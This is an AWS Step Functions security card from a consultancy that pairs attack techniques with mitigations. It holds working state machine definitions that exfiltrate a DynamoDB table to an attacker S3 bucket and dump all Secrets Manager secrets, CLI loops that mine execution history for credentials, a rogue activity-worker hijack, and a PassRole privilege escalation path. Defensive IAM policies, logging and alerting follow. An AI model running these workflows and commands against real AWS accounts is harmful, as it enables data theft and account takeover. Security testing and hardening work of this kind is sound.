Step Functions is a serverless workflow orchestration service that coordinates multiple AWS services. Attackers exploit workflow definitions to chain service calls, extract data through state machine execution, and leverage powerful IAM roles to access resources across the AWS account.
Step Functions uses JSON-based Amazon States Language (ASL) to define workflows. With SDK integration, state machines can directly invoke 200+ AWS SDK actions without custom Lambda code. Task states, Map states, and Parallel states enable complex multi-service orchestration.
Attack note: A single state machine with an overprivileged role is effectively an attack playbook. It can read DynamoDB, get secrets, invoke Lambda, and write to S3 in one execution.
Execution history contains all input/output data for every state transition. Activity tasks use worker-based polling. Express workflows handle high-volume events. All execution data is visible to anyone with GetExecutionHistory permission.
Attack note: Execution history is a goldmine - it contains every API response, secret value, and data payload that flowed through previous workflow runs.
Step Functions can directly invoke 200+ AWS SDK actions with powerful IAM roles. Attackers can create workflows to chain service calls, access data, and execute code - essentially building attack playbooks as state machines.
aws stepfunctions list-state-machinesaws stepfunctions describe-state-machine --state-machine-arn <arn> --query 'definition' --output textaws stepfunctions list-executions --state-machine-arn <arn>aws stepfunctions get-execution-history --execution-arn <execution-arn>Key insight: If you have states:CreateStateMachine + iam:PassRole, you can create a workflow that calls ANY AWS API the execution role allows. This is privilege escalation via workflow creation.
With states:CreateStateMachine and an IAM role, attackers can build workflows that execute any SDK action:
{
"Comment": "Exfil data from DynamoDB to attacker S3",
"StartAt": "ScanTable",
"States": {
"ScanTable": {
"Type": "Task",
"Resource": "arn:aws:states:::dynamodb:scan",
"Parameters": {
"TableName": "users"
},
"Next": "WriteToS3"
},
"WriteToS3": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Bucket": "attacker-bucket",
"Key": "exfil/users.json",
"Body.$": "States.JsonToString($.Items)"
},
"End": true
}
}
}{
"Comment": "Get all secrets from Secrets Manager",
"StartAt": "ListSecrets",
"States": {
"ListSecrets": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:secretsmanager:listSecrets",
"Next": "GetEachSecret"
},
"GetEachSecret": {
"Type": "Map",
"ItemsPath": "$.SecretList",
"Iterator": {
"StartAt": "GetSecret",
"States": {
"GetSecret": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:secretsmanager:getSecretValue",
"Parameters": {
"SecretId.$": "$.ARN"
},
"End": true
}
}
},
"End": true
}
}
}Execution history contains the full input/output of every state transition. Activity tasks use a pull model where any principal with GetActivityTask permission can steal work items meant for legitimate workers.
# List recent executions
EXECS=$(aws stepfunctions list-executions \
--state-machine-arn <arn> \
--status-filter SUCCEEDED \
--query 'executions[*].executionArn' --output text)
# Extract all TaskSucceeded outputs (contains API responses)
for EXEC in $EXECS; do
aws stepfunctions get-execution-history \
--execution-arn $EXEC \
--query 'events[?type==`TaskSucceeded`].taskSucceededEventDetails.output' \
--output text >> execution_data.json
done
# Search for secrets, tokens, keys in output data
grep -iE '(password|secret|token|key|credential)' execution_data.json# Poll for activity tasks (races legitimate worker)
TASK=$(aws stepfunctions get-activity-task \
--activity-arn arn:aws:states:us-east-1:123:activity/process \
--worker-name rogue-worker)
# Extract the input data (may contain sensitive info)
echo $TASK | jq '.input'
# Send fake success to continue the workflow
aws stepfunctions send-task-success \
--task-token $(echo $TASK | jq -r '.taskToken') \
--output '{"status":"processed","data":"manipulated"}'
# Workflow continues with attacker-controlled outputTool reference: Pacu module stepfunctions__enum discovers state machines and their execution roles. Use --include-execution-data to mine history.
aws stepfunctions create-state-machine --name exfil-workflow --definition '{"StartAt":"Scan","States":{"Scan":{"Type":"Task","Resource":"arn:aws:states:::dynamodb:scan","Parameters":{"TableName":"users"},"End":true}}}' --role-arn arn:aws:iam::123:role/StepFunctionRoleaws stepfunctions start-execution --state-machine-arn <arn> --input '{"target":"sensitive-data"}'aws stepfunctions get-execution-history --execution-arn <execution-arn> --query 'events[?type==`TaskSucceeded`].taskSucceededEventDetails.output'aws stepfunctions list-state-machines --query 'stateMachines[*].{Name:name,ARN:stateMachineArn,Role:roleArn}'aws stepfunctions get-activity-task --activity-arn arn:aws:states:us-east-1:123:activity:process-ordersaws stepfunctions describe-execution --execution-arn <arn> --query '{Input:input,Output:output}'{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
// This role can do ANYTHING via the workflow:
// - Read all S3/DynamoDB
// - Get all secrets
// - Assume any role
// - Create IAM usersState machine role with broad access enables any attack via workflow
{
"Effect": "Allow",
"Action": [
"states:CreateStateMachine",
"states:StartExecution",
"iam:PassRole"
],
"Resource": "*"
}
// Can create workflow with ANY role
// then execute it = privilege escalationCreateStateMachine + PassRole on * = create workflow with admin role = admin access
{
"Effect": "Allow",
"Action": [
"lambda:InvokeFunction"
],
"Resource": [
"arn:aws:lambda:*:*:function:process-order",
"arn:aws:lambda:*:*:function:send-notification"
]
},
{
"Effect": "Allow",
"Action": "dynamodb:PutItem",
"Resource": "arn:aws:dynamodb:*:*:table/orders"
}Limited to specific Lambda functions and DynamoDB table needed by workflow
{
"Effect": "Allow",
"Action": "states:CreateStateMachine",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123:role/OrderWorkflowRole",
"Condition": {
"StringEquals": {
"iam:PassedToService": "states.amazonaws.com"
}
}
}PassRole restricted to specific role and service - prevents escalation via arbitrary roles
Scope state machine roles to only required actions and resources. Never use Action: *.
Grant only specific actions:\n lambda:InvokeFunction on specific ARNs\n dynamodb:PutItem on specific tablesLog all execution data to CloudWatch for audit trail and forensic analysis.
LoggingConfiguration: {
"level": "ALL",
"includeExecutionData": true,
"destinations": [{"cloudWatchLogsLogGroup": {...}}]
}Limit who can create new state machines via IAM policies and SCPs.
SCP: Deny states:CreateStateMachine\n except from approved admin rolesUse KMS encryption for execution history and CloudWatch logs.
aws stepfunctions create-state-machine \\\n --encryption-configuration \\\n kmsKeyId=arn:aws:kms:...:key/xxxAlert on GetExecutionHistory calls that may expose sensitive data from prior runs.
CloudWatch Alarm:\n GetExecutionHistory from unknown principals\n or outside business hoursImplement authentication for activity task workers and monitor for rogue pollers.
Monitor GetActivityTask calls\nAlert on polling from unexpected IPs\nUse VPC endpoints for workersAWS Step Functions Security Card • Toc Consulting
Always obtain proper authorization before testing